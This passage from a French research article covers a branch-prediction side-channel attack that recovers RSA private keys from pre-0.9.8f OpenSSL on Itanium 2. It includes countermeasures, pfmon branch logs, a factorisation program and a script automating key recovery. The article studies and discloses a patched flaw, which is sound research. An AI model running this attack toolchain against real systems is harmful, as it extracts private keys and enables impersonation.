n = F10CFAF7371EF7D7DFEB6E41EE0397CF65D02B428A861BEDE5AC1C8CED6A954B
  * E12128F4AC871E35FD8E493602485F45AF61267E61DB71C25736F53AB41D159F
```

Le code de `run_wide.sh` est reporté en Annexe 7.4

5.1.2 Authentification

Envoyé un message chiffré est évidemment une meilleure solution qu'envoyer un message en clair, mais cela ne suffit pas pour assurer une sécurité optimale. Supposons qu'Alice veuille envoyer des données sensibles à Bob. Elle va chiffrer son message avec la clé publique de Bob, mais à la réception, Bob ne pourra pas vérifier que l'auteur du message est réellement Alice. Une personne tierce pourrait très bien utiliser la même clé publique et se faire passer pour Alice. Ce problème d'authentification peut être résolu par RSA.

Pour prouver à Bob qu'il peut faire confiance à la source du message, Alice doit signer son message. Ceci est possible en ajoutant une information au message envoyé, utilisant la clé privée d'Alice. Cette clé privée est en effet uniquement connue de Alice et si Bob peut déduire qu'Alice à la bonne clé privée, alors il pourra lui faire confiance.

Pratiquement, on applique une fonction de hachage publique f au message à envoyer m. On obtient un résultat $h = f(m)$, de taille fixe. Ensuite, il s'agit pour Alice d'appliquer un déchiffrement RSA sur h, ce qui revient à élever h à la puissance d modulo n : $h' = h^{d_A} \pmod{n_A}$. Alice a ainsi utilisé sa clé privée (n_A, d_A) pour certifier qu'elle était bien l'auteur du message et peut envoyer le message $c \,||\, h'$, où c est toujours le chiffré de m avec la clé publique (n_B, e_B) de Bob, $c = m^{e_B} \pmod{n_B}$.

Ainsi, Bob recevant $c \,||\, h'$ va commencer par déchiffrer c en utilisant sa clé privée (n_B, d_B) :

$$c^{d_B} = (m^{e_B})^{d_B} = m \pmod{n_B}$$

Il a donc obtenu le message en clair que n'importe qui aurait pu lui envoyer. Pour s'assurer que l'auteur en a bien été Alice, il va lui aussi appliquer la fonction de hachage f sur m

et obtenir le même h qu'avait obtenu Alice. La validation de l'authentication consiste à utiliser la clé publique d'Alice sur la signature h' reçue avec le message :

$$h'' = {h'}^{e_A} = (h^{d_A})^{e_A} \pmod{n_A}$$

Bob pourra alors être sûr que l'auteur du message qu'il a reçu est Alice si $h = h''$. Alice est en effet la seule à connaître sa clé privée utilisée dans la signature.

Avec cette attaque, nous avons réussi à extraire la clé privée d de RSA, et une personne malveillante pourrait alors l'utiliser pour se faire passer pour quelqu'un d'autre.

5.2 Solutions

Toutes les plateformes récentes sont concernées par cette section puisqu'il y a un risque de fuites de données sensibles dès que plusieurs processus partagent l'unité de prédiction de branches. L'attaque est possible uniquement parce que deux éléments partagent une troisième entité. Agir d'une certaine manière sur l'unité commune peut donc fournir des éléments sur l'autre élément s'exécutant *en même temps*.

Afin de contrer ceci [5], il est primordial qu'aucun test ne soit effectué sur une donnée secrète. Le compilateur ne pouvant déterminer lui-même la nature de la donnée à tester, il revient aux développeurs d'être très prudents lors de la manipulation d'informations confidentielles.

Formellement, cette notion se traduit par l'*interférence* d'un programme. L'ensemble V des variables utilisées par un programme peut être scindé en deux : H et L. Dans H, on trouve les variables dont le secret est fort (*high*), tandis que L contient les autres variables, publiques ou de valeurs nulles pour un attaquant (*low*).

On dira d'un programme qu'il est *non-interférent* si pour tout couple d'états (S, S'), on a :

$$S\,|_L = S'\,|_L \quad \Rightarrow \quad [P]S\,|_L = [P]S'\,|_L$$

C'est-à-dire que pour deux états différents quelconques, le programme s'évalue de la même manière en considérant les restrictions aux variables *low*.

Appliqué à cette attaque, cette définition montre que les version de OpenSSL antérieures à la 0.9.8f n'étaient pas non-interférentes. Il y avait des fuites de variables secrètes de H, d en l'occurence. Cependant, la version 0.9.8f de OpenSSL datant du 11 Octobre 2007 résout ce problème de sécurité lié à RSA détaillé dans cet article. Pour cela, lorsque le flag `BN_FLG_CONSTTIME` est positionné à 1, l'exponentiation ne fait plus de tests sur le bit i de l'exposant privé d, mais se sert du résultat de la fonction `BN_is_bit_set` dans une opération arithmétique, quelle que soit sa valeur de retour. Ainsi, il n'y a plus de test effectué sur d_i dans l'exponentiation.

Le même problème a été corrigé dans la fonction `BN_is_bit_set` pour supprimer un branchement. Dans les versions antérieures à la `0.9.8f`, le code était :

```
1 int BN_is_bit_set (const BIGNUM * a, int n) {
2   int i, j;
3
4   if (n < 0) return (0);
5   i = n / BN_BITS2;
6   j = n % BN_BITS2;
7   if (a->top <= i)  return (0);
8   return ((a->d[i] & (((BN_ULONG) 1) << j)) ? 1 : 0);
9 }
```

Code — BN_is_bit_set dans les versions de OpenSSL antérieures à 0.9.8f

Si la toute dernière instruction qui fait la distinction suivant le cas 1 ou 0 est traduite par le compilateur par un branchement conditionnel, alors on pourrait retrouver exactement de la même manière la suite des bits de la clé privée d.

Pour pallier à ce problème, un mode de raisonnement très légèrement différent permet d'éviter de faire un test. Le résultat a été proposé très peu de temps après dans la version `0.9.8f` de OpenSSL et devrait être considéré comme un exemple par tous les développeurs :

```
1  int BN_is_bit_set (const BIGNUM * a, int n) {
2    int i, j;
3
4    bn_check_top (a);
5    if (n < 0)  return 0;
6    i = n / BN_BITS2;
7    j = n % BN_BITS2;
8    if (a->top <= i) return 0;
9    return (((a->d[i]) >> j) & ((BN_ULONG) 1));
10 }
```

Code — BN_is_bit_set dans les versions de OpenSSL à partir de 0.9.8f

A partir de là, il n'est *a priori* plus possible de se baser sur l'unité de prédiction de branches communes à tous les processus pour retrouver la clé privée.

6 Conclusion

Au niveau matériel, les architectures sont de plus en plus sophistiquées pour gagner en rapidité, en efficacité, en taille ou en consommation. Ces évolutions sont inévitablement liées à des ajouts de composants et d'unités dans les processeurs, mais se font au détriment de la sécurité. Plus on ajoute de systèmes de contrôle, plus il y a de risques que des informations puissent être interceptées et attaquées.

Une récente innovation dans les processeurs est le mécanisme de prédiction de branches. Dans cet article, nous avons vu qu'il est possible de mettre en place une attaque par canaux cachés contre l'unité de prédiction de branches. Cette attaque a pris pour cible le système de chiffrement et d'authentification le plus célèbre du moment, RSA, et la librairie *open source* la plus utilisée qui l'implémente, à savoir OpenSSL.

Avec cette attaque, j'ai été en mesure de récupérer la clé privée de RSA en une seule exponentiation sur un machine à 8 coeurs de type Itanium 2 de la famille des processeurs Intel 64 bits. De manière générale, l'attaque est possible lorsque le noyau de la machine met à disposition la mesure de performance du matériel et que l'on peut exécuter un programme espion tournant en parallèle avec le processus qui effectue l'exponentiation.

Cette attaque étant redoutable et imparable, il revient aux programmeurs de connaître les méthodes utilisées par les processeurs et d'être extrêmement prudents lorsqu'ils manipulent des données sensibles. OpenSSL dans sa dernière version corrige ce défaut dans l'exponentiation en supprimant toutes les branches critiques. A l'heure actuelle, cette version peut alors être considérée comme sûre jusqu'à ce qu'une nouvelle attaque par canaux cachées soit découverte.

7 Annexes

7.1 Résultat de pfmon sur le programme boucle

```
entry 0 PID:19345 CPU:7 STAMP:0x1cbed799427d IIP:0x40000000000007f0
OVFL: 4 LAST_VAL: 1
PMD16: 0x0000000000000002, bbi=2, full=0
PMD8 : 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD9 : 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

entry 1 PID:19345 CPU:7 STAMP:0x1cbed7997197 IIP:0x40000000000007f0
OVFL: 4 LAST_VAL: 1
PMD16: 0x0000000000000004, bbi=4, full=0
PMD8 : 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD9 : 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD10: 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD11: 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

entry 2 PID:19345 CPU:7 STAMP:0x1cbed7997808 IIP:0x4000000000000791
OVFL: 4 LAST_VAL: 1
PMD16: 0x0000000000200005, bbi=5, full=0
PMD8 : 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success
```

```
PMD9 : 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD10: 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD11: 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD12: 0x400000000000083f b=1 mp=1 bru=1 b1=0 valid=Y
       Source Address: 0x4000000000000830
       Taken=N Prediction: FE Failure

entry 3 PID:19345 CPU:7 STAMP:0x1cbed7997e61 IIP:0x40000000000007f0
OVFL: 4 LAST_VAL: 1
PMD16: 0x0000000000200007, bbi=7, full=0
PMD8 : 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD9 : 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD10: 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD11: 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD12: 0x400000000000083f b=1 mp=1 bru=1 b1=0 valid=Y
       Source Address: 0x4000000000000830
       Taken=N Prediction: FE Failure
```

```
PMD13: 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD14: 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

entry 4 PID:19345 CPU:7 STAMP:0x1cbed79984ac IIP:0x4000000000000781
OVFL: 4 LAST_VAL: 1
PMD16: 0x0000000200200009, bbi=1, full=1
PMD9 : 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD10: 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD11: 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD12: 0x400000000000083f b=1 mp=1 bru=1 b1=0 valid=Y
       Source Address: 0x4000000000000830
       Taken=N Prediction: FE Failure

PMD13: 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD14: 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD15: 0x400000000000083b b=1 mp=1 bru=1 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: FE Failure

PMD8 : 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
```

```
       Target Address: 0x4000000000000860

entry 5 PID:19345 CPU:7 STAMP:0x1cbed7998af4 IIP:0x4000000000000791
OVFL: 4 LAST_VAL: 1
PMD16: 0x000000020020020a, bbi=2, full=1
PMD10: 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD11: 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD12: 0x400000000000083f b=1 mp=1 bru=1 b1=0 valid=Y
       Source Address: 0x4000000000000830
       Taken=N Prediction: FE Failure

PMD13: 0x4000000000000839 b=1 mp=0 bru=0 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: Success

PMD14: 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD15: 0x400000000000083b b=1 mp=1 bru=1 b1=0 valid=Y
       Source Address: 0x4000000000000832
       Taken=Y Prediction: FE Failure

PMD8 : 0x4000000000000862 b=0 mp=1 bru=0 b1=0 valid=Y
       Target Address: 0x4000000000000860

PMD9 : 0x400000000000083f b=1 mp=1 bru=1 b1=0 valid=Y
       Source Address: 0x4000000000000830
       Taken=N Prediction: FE Failure
```

7.2 Fonction BN_mod_mul_exp de OpenSSL

```
1  int BN_mod_exp_mont(BIGNUM *rr, const BIGNUM *a, const BIGNUM *p,
2          const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *in_mont)
3  {
4
5      int i,j,bits,ret=0,wstart,wend,window,wvalue;
6      int start=1;
7      BIGNUM *d,*r;
8      const BIGNUM *aa;
9      /* Table of variables obtained from 'ctx' */
10     BIGNUM *val[TABLE_SIZE];
11     BN_MONT_CTX *mont=NULL;
12     if (BN_get_flags(p, BN_FLG_CONSTTIME) != 0)
13     {
14         return BN_mod_exp_mont_consttime(rr, a, p, m, ctx, in_mont);
15     }
16
17     bn_check_top(a);
18     bn_check_top(p);
19     bn_check_top(m);
20
21     if (!BN_is_odd(m))
22     {
23         BNerr(BN_F_BN_MOD_EXP_MONT,BN_R_CALLED_WITH_EVEN_MODULUS);
24         return(0);
25     }
26     bits=BN_num_bits(p);
27     if (bits == 0)
28     {
29         ret = BN_one(rr);
30         return ret;
31     }
32
33     BN_CTX_start(ctx);
34     d = BN_CTX_get(ctx);
35     r = BN_CTX_get(ctx);
36     val[0] = BN_CTX_get(ctx);
37     if (!d || !r || !val[0]) goto err;
38     /* If this is not done, things will break in the montgomery
39      * part */
40
41      if (in_mont != NULL)
42          mont=in_mont;
43      else
44      {
45          if ((mont=BN_MONT_CTX_new()) == NULL) goto err;
46          if (!BN_MONT_CTX_set(mont,m,ctx)) goto err;
47      }
48
49      if (a->neg || BN_ucmp(a,m) >= 0)
50      {
```

```
51          if (!BN_nnmod(val[0],a,m,ctx))
52              goto err;
53          aa= val[0];
54      }
55      else
56          aa=a;
57      if (BN_is_zero(aa))
58      {
59          BN_zero(rr);
60          ret = 1;
61          goto err;
62      }
63      if (!BN_to_montgomery(val[0],aa,mont,ctx)) goto err;
64
65      window = BN_window_bits_for_exponent_size(bits);
66
67      // rajoute par JJ, pour simplifier.
68      window=1;
69
70      if (window > 1)
71      {
72          if (!BN_mod_mul_montgomery(d,val[0],val[0],mont,ctx)) goto err;
73          j=1<<(window-1);
74          for (i=1; i<j; i++)
75          {
76              if(((val[i] = BN_CTX_get(ctx)) == NULL) ||
77                      !BN_mod_mul_montgomery(val[i],val[i-1],
78                              d,mont,ctx))
79                  goto err;
80          }
81      }
82
83      start=1;        /* This is used to avoid multiplication etc
84                       * when there is only the value '1' in the
85                       * buffer. */
86      wvalue=0;       /* The 'value' of the window */
87      wstart=bits-1;  /* The top bit of the window */
88      wend=0;         /* The bottom bit of the window */
89
90      if (!BN_to_montgomery(r,BN_value_one(),mont,ctx)) goto err;
91      for (;;)
92      {
93          if (BN_is_bit_set(p,wstart) == 0) {
94              //printf("0");
95              if (!start) {
96                  if (!BN_mod_mul_montgomery(r,r,r,mont,ctx)) /* 1 */
97                      goto err;
98              }
99              // condition d'arret, on a passé tous les bits
100             if (wstart == 0) break;
101             wstart--;
102             continue;
```

```
103         } //else printf("1");
104
105         /* We now have wstart on a 'set' bit, we now need to work out
106          * how bit a window to do.  To do this we need to scan
107          * forward until the last set bit before the end of the
108          * window */
109         j=wstart;
110         wvalue=1;
111         wend=0;
112
113         // Si on a une fenêtre, on passe dans cette boucle
114         for (i=1; i<window; i++) {
115             if (wstart-i < 0) break;
116             if (BN_is_bit_set(p,wstart-i))
117             {
118                 //printf("1");
119                 wvalue<<=(i-wend);
120                 wvalue|=1;
121                 wend=i;
122             } //else printf("0");
123         }
124
125         /* wend is the size of the current window */
126         j=wend+1;
127         /* add the 'bytes above' */
128         if (!start) {
129             for (i=0; i<j; i++) {
130                 if (!BN_mod_mul_montgomery(r,r,r,mont,ctx)) /* 2 */
131                     goto err;
132             }
133         }
134
135         /* wvalue will be an odd number < 2^window */
136         if (!BN_mod_mul_montgomery(r,r,val[wvalue>>1],mont,ctx))
137             goto err;
138
139         /* move the 'window' down further */
140         wstart-=wend+1;
141         wvalue=0;
142         start=0;
143         if (wstart < 0) break;
144     }
145     if (!BN_from_montgomery(rr,r,mont,ctx)) goto err;
146     ret=1;
147     err:
148     if ((in_mont == NULL) && (mont != NULL)) BN_MONT_CTX_free(mont);
149     BN_CTX_end(ctx);
150     bn_check_top(rr);
151     return(ret);
152 }
```

Code — Exemple de code analysé par pfmon

7.3 Factorisation de n en produits de facteurs premiers

```
1  // sieve.c
2  // -- find p,q such as n=pq, being given n,e,d
3
4  #include "openssl/bn.h"
5  #include <stdio.h>
6  #include <string.h>
7
8  /*
9   ** Input: n,d,e RSA parameters
10  ** Output: p,q such as n=pq
11  */
12 void rsaFactor(BIGNUM *n, BIGNUM *e, BIGNUM *d, BIGNUM **p, BIGNUM **q) {
13
14    // local variables
15    BIGNUM *e2;
16    BIGNUM *k;
17    BIGNUM *two;
18    BIGNUM *sk;
19    BIGNUM *rem;
20    BN_CTX *ctx;
21    int i;
22    int s;
23
24    // alloc
25    e2=BN_new();
26    k=BN_new();
27    two=BN_new();
28    sk=BN_new();
29    rem=BN_new();
30    ctx=BN_CTX_new();
31
32    BN_CTX_init(ctx);
33    BN_set_word(two, 2); //two=2
34
35    BN_copy(sk, e); //sk=e
36    BN_mul(sk, sk, d, ctx); // sk=ed
37    BN_sub(sk, sk, BN_value_one()); //sk=ed-1
38
39    s=-1;
40    while(BN_is_odd(sk)==0) { // even
41        s++;
42        BN_div(sk, NULL, sk, two, ctx); //sk=sk/2
43    }
44    // ed-1=sk*2^s
45
46    while(1) {
47        BN_copy(k, n);
48        BN_sub(k, k, BN_value_one()); //k=n-1
49        BN_rand_range(e2, k); // rand in 0..n-1
50
```

```
51          //ed-1=sk*2^s
52          BN_mod_exp(e2, e2, sk, n, ctx); // e2 = e2^sk (mod n)
53
54          if(BN_is_one(e2)==1 || BN_cmp(e2, k)==0) continue;
55
56          for(i=1; i<=s; ++i) {
57              BN_mod_exp(sk, e2, two, n, ctx); // sk=e2^2 mod n
58
59              BN_copy(rem, e2);
60              BN_sub(rem, rem, BN_value_one()); //e2=e2-1
61              BN_gcd(rem, rem, n, ctx);
62
63              if(BN_cmp(rem, BN_value_one()) != 0 && BN_cmp(rem, n) != 0) {
64                  BN_copy(*p, rem);
65                  BN_div(*q, NULL, n, rem, ctx);
66
67                  // free
68                  BN_free(e2);
69                  BN_free(k);
70                  BN_free(two);
71                  BN_free(sk);
72                  BN_free(rem);
73                  BN_CTX_free(ctx);
74
75                  return ;
76              }
77              BN_copy(e2, sk);
78          }
79      }
80
81      // free
82      BN_free(e2);
83      BN_free(k);
84      BN_free(two);
85      BN_free(sk);
86      BN_free(rem);
87      BN_CTX_free(ctx);
88
89      return ;
90  }
91
92  int main(int argc, char **argv) {
93      FILE *fp;
94      unsigned char _n[512];
95      unsigned char _d[512];
96      unsigned char _e[512];
97
98      BIGNUM *n;
99      BIGNUM *d;
100     BIGNUM *e;
101     BIGNUM *p;
102     BIGNUM *q;
```

```
103
104     // get params from files
105     fp=fopen("n", "r"); fscanf(fp, "%s\n", _n); fclose(fp);
106     fp=fopen("e", "r"); fscanf(fp, "%s\n", _e); fclose(fp);
107
108     fscanf(stdin, "%s\n", _d);
109
110     // alloc
111     n=BN_new();
112     d=BN_new();
113     e=BN_new();
114     p=BN_new();
115     q=BN_new();
116
117     // set values
118     BN_hex2bn(&n, (const char*)_n);
119     BN_hex2bn(&e, (const char*)_e);
120     BN_hex2bn(&d, (const char*)_d);
121
122     // get p and q
123     rsaFactor(n, e, d, &p, &q);
124
125     BN_print_fp(stdout, p);
126     printf(" * ");
127     BN_print_fp(stdout, q);
128
129     // free bignums
130     BN_free(n);
131     BN_free(d);
132     BN_free(e);
133     BN_free(p);
134     BN_free(q);
135
136     return 0;
137 }
```

Code —Factorisation du modulus RSA par la connaissance de l'exposant privé d

7.4 run_wide.sh

```
1 #!/bin/bash
2 d=`pfmon --system-wide --no-cmd-output --long-smpl-periods=1 --smpl-entries
      =1165 -e BRANCH_EVENT --with-header --irange=0x400000000004df90-0
      x400000000004dfa0 | ./analyze_attackee_3 | ./add_padding 9 | ./bin2hex`
3 n=`cat n`
4 e=`cat e`
5 echo "RSA Parameters :"
6 echo "n =" $n
7 echo "e =" $e
8 echo "d =" $d
```

```
9
10 echo "n = p * q"
11 echo "n ="
12 echo $d | ./sieve
```

Code — Script automatisant l'attente de l'exponentiation par le processus cible

Références

[1] O. Aciicmez, C. K. Koc, and J.-P. Seifert, On the power of simple branch prediction analysis, Cryptology ePrint Archive, Report 2006/351, 2006.

[2] O. Aciicmez, J.-P. Seifert, and C. K. Koc, Predicting secret keys via branch prediction, Cryptology ePrint Archive, Report 2006/288, 2006.

[3] R. L. Rivest, A. Shamir, and L. M. Adelman, A METHOD FOR OBTAINING DIGITAL SIGNATURES AND PUBLIC-KEY CRYPTOSYSTEMS, 1977.

[4] O. Aciicmez, S. Gueron, and J.-P. Seifert, New branch prediction vulnerabilities in openssl and necessary software countermeasures, Cryptology ePrint Archive, Report 2007/039, 2007.

[5] G. Agosta, L. Breveglieri, G. Pelosi, and I. Koren, Countermeasures against branch target buffer attacks., in *FDTC*, edited by L. Breveglieri, S. Gueron, I. Koren, D. Naccache, and J.-P. Seifert, pp. 75–79, IEEE Computer Society, 2007.

[6] A. J. Menezes, S. A. Vanstone, and P. C. V. Oorschot, *Handbook of Applied Cryptography* (CRC Press, Inc., Boca Raton, FL, USA, 1996).

[7] C. K. Koc, T. Acar, and J. Burton S. Kaliski, IEEE Micro **16**, 26 (1996).

[8] M. Milenkovic, A. Milenkovic, and J. Kulick, Microbenchmarks for determining branch predictor organization, 2004.

[9] C. Perleberg and A. Smith, IEEE Transactions on Computers **42**, 396 (1993).